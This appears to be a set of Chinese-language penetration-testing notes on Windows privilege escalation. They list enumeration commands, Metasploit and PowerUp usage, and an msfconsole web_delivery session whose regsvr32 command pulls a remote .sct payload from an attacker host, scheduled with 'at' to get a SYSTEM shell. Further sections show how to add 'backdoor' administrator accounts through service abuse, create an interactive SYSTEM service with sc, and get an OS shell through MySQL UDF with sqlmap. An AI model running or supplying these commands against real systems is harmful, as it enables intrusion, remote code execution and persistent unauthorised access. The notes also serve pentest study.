基礎命令:
查看系統信息:systeminfo
環境變量:set
查看用戶信息:net user
查看本地用戶組:net localgroup
獲得當前用戶名:whoami
獲得當前用戶權限:whoami /priv
網絡:ipconfig
顯示dns緩存:ipconfig /displaydns
顯示路由表:route print
arp緩存:arp -a
顯示文件內容:type 1.txt
列出權限:icals "C:\Example"
顯示防火牆的配置:netsh firewall show config
列出安裝的驅動:DRIVERQUERY
查看進程中的服務信息:tasklist /svc
列出所有服務:sc query
找出指定服務的路徑:sc qc ServiceName
列出啟動的服務:net start
殺掉指定進程:
taskkill /pid 1132 或 taskkill /IM notepad.exe
很多進程Tasklist是殺不了的,但是用ntsd就可以,基本上除了WINDOWS系統自己的管理進程,ntsd都可以殺掉,不過有些rootkit級別的超級木馬就無能為力了,不過幸好這類木馬還是很少的。
1、利用進程的PID結束進程
命令格式:ntsd -c q -p pid
命令范例: ntsd -c q -p 1332 (結束explorer.exe進程)
2、利用進程名結束進程
命令格式:ntsd -c q -pn ***.exe (***.exe 為進程名,exe不能省)
查看系統名:wmic os get caption
查看補丁信息:wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4013389" /C:"KB958644"
查看當前安裝程序:wmic product get name,version
參考:https://www.freebuf.com/vuls/87463.html
1、工具提權
msf:
1、getsystem
2、使用search bypassuac 搜索可以使用的模塊進行使用
3、使用msf里的模塊進行掃描,是否打補丁
meterpreter > run post/windows/gather/enum_patches
3、利用對應漏洞提權
1)msrc 微軟官方漏洞平台
2)systeminfo命令查看系統的各種信息(比如打補丁情況等)
cs:
access --> Elevate
powersploit中的powerup:
攻擊機kali,靶機win10(靶機需要有powershell)
首先獲得win10的meterpreter shell,再上傳PowerUP.ps1到win10上
然后:
使用IEX在內存中加載此腳本,執行Invoke-AllChecks檢查漏洞
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C://pentest/PowerUp.ps1'); Invoke-AllChecks"
或者也可以在cmd環境導入模塊繞過策略執行:
powershell.exe -exec bypass -Command "& {Import-Module c://pentest/PowerUp.ps1; Invoke-AllChecks}"
這里因為暫時沒有發現具有寫權限的服務,所以暫時無法提權。基本步驟可以參考https://51dev.com/wangluo/33937
具體參考:http://www.youknowi.xin/powershell工具之powerup介紹/
https://www.cnblogs.com/yuzly/p/10505365.html
常見模塊命令:
1.Invoke-AllChecks
執行所有的腳本來檢查
2.Find-PathDLLHijack
檢查當前%PATH%是否存在哪些目錄是當前用戶可以寫入的
3.Get-ApplicationHost
從系統上的applicationHost.config文件恢復加密過的應用池和虛擬目錄的密碼
4.Get-RegistryAlwaysInstallElevated
檢查AlwaysInstallElevated注冊表項是否被設置,如果被設置,意味着的MSI文件是以system權限運行的
5.Get-RegistryAutoLogon
檢測Winlogin注冊表AutoAdminLogon項有沒有被設置,可查詢默認的用戶名和密碼
6.Get-ServiceDetail
返回某服務的信息
Get-ServiceDetail -ServiceName Dhcp #獲取DHCP服務的詳細信息
7.Get-ServiceFilePermission
檢查當前用戶能夠在哪些服務的目錄寫入相關聯的可執行文件,通過這些文件可達到提權的目的
8.Test-ServiceDaclPermission
檢查所有可用的服務,並嘗試對這些打開的服務進行修改,如果可修改,則返回該服務對象
9.Get-ServiceUnquoted
檢查服務路徑,返回包含空格但是不帶引號的服務路徑。
此處利用的windows的一個邏輯漏洞,即當文件包含空格時,windows API會解釋為兩個路徑,並將這兩個文件同時執行,有些時候可能會造成權限的提升。
比如C:program fileshello.exe ,會被解釋為C:program.exe以及C:program fileshello.exe
10.Get-UnattendedInstallFile
檢查幾個路徑,查找是否存在這些文件,在這些文件里可能包含有部署憑據。這些文件包括:
c:sysprepsysprep.xml
c:sysprepsysprep.inf
c:sysprep.inf
c:windowsPantherUnattended.xml
c:windowsPantherUnattendUnattended.xml
c:windowsPantherUnattend.xml
c:windowsPantherUnattendUnattend.xml
c:windowsSystem32Sysprepunattend.xml
c:windowsSystem32SysprepPantherunattend.xml
11.Get-ModifiableRegistryAutoRun
檢查開機自啟的應用程序路徑和注冊表鍵值,返回當前用戶可修改的程序路徑。
注冊表檢查的鍵值為:
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnce
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunService
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceService
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunService
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnceService
12.Get-ModifiableScheduledTaskFile
返回當前用戶能夠修改的計划任務程序的名稱和路徑
13.Get-Webconfig
返回當前服務器上的web.config文件中的數據庫連接字符串的明文
14.Invoke-ServiceAbuse
用來通過修改服務添加用戶到指定組,並可以通過定制-cmd參數觸發添加用戶的自定義命令。
執行方式:
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默認賬號
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域賬號
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用戶,用戶密碼以及添加的用戶組。
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定義執行命令
15.Restore-ServiceBinary
恢復服務的可執行文件到原始目錄。
執行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
16.Test-ServiceDaclPermission
檢查某個用戶是否在一個服務有自由訪問控制的權限,返回true或false。
執行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
17.Write-HijackDll
輸出一個自定義命令並且能夠自刪除的bat文件到$env:Tempdebug.bat,並輸出一個能夠啟動這個bat文件的dll。
18.Write-UserAddMSI
生成一個安裝文件,運行這個安裝文件,則彈出添加用戶的框。
執行方式:
PS C:> Write-UserAddMSI
19.Write-ServiceBinary
預編譯C#服務的可執行文件。默認創建一個默認管理員賬號。可通過Command定制自己的命令。
執行方式:
PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默認賬號
PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域賬號
PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用戶,用戶密碼以及添加的用戶組
PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定義執行命令
20.Install-ServiceBinary
通過Write-ServiceBinary寫一個C#的服務用來添加用戶。
執行方式:
PSC:> Install-ServiceBinary -ServiceName DHCP
PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Write-ServiceBinary與Install-ServiceBinary不同的是前者生成可執行文件,后者直接安裝服務
2、命令提權
2003 at命令提權
例:
使用exploit/multi/script/web_delivery模塊
msf5 exploit(multi/handler) > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > show options
Module options (exploit/multi/script/web_delivery):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python
msf5 exploit(multi/script/web_delivery) > set lhost 192.168.0.101
lhost => 192.168.0.101
msf5 exploit(multi/script/web_delivery) > show targets
Exploit targets:
Id Name
-- ----
0 Python
1 PHP
2 PSH
3 Regsvr32
4 pubprn
5 PSH (Binary)
6 Linux
msf5 exploit(multi/script/web_delivery) > set target 3
target => 3
msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > exploit
msf5 exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:8080/6LgVyo6EDId
[*] Local IP: http://127.0.0.1:8080/6LgVyo6EDId
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.0.101:8080/6LgVyo6EDId.sct scrobj.dll
然后在2003里使用at命令:at 22:00 /interactive regsvr32 /s /n /u /i:http://192.168.0.101:8080/6LgVyo6EDId.sct scrobj.dll
但可能不會成功
這里可以使用at命令直接執行木馬進行提權
獲取到的shell就是system權限
2)windows 03、7、8、08、12、16 sc命令提權
這里我是用的2003進行的測試(原本用的server2008,但不知為何無法復現。)
先創建一個服務sc create syscmd binPath="cmd /K start" type=own type=interact
然后開啟該服務sc start syscmd
,會彈出一個命令行窗口
mysql提權
使用sqlmap:sqlmap -d "mysql://root:root@192.168.6.140:3306/mysql" --os-shell
需要開啟:
所連接的用戶賬戶要有遠程連接的權限:
mysql -uroot -proot
use mysql;
show tables;
update user set host='%' where host = 'localhost';
flush privileges;
Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下。
Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。
掌握的mysql數據庫的賬號有對mysql的insert和delete權限以創建和拋棄函數,一般以root賬號為佳,具備root賬號所具備的權限的其它賬號也可以。
可以將udf.dll寫入到相應目錄的權限。
注:關於plugin目錄,可在mysql中執行
show variables like '%plugin%';
進行查看,這個目錄也就是dll文件需要導入的目錄
3、其它一些提權方式:
參考:https://lengjibo.github.io/windows提權總結/
利用一些錯誤配置
不帶引號的服務路徑
不安全的服務權限
AlwaysInstallElevated
Unattended Installs
......
4、還有其他一些划分方式,也總結一下: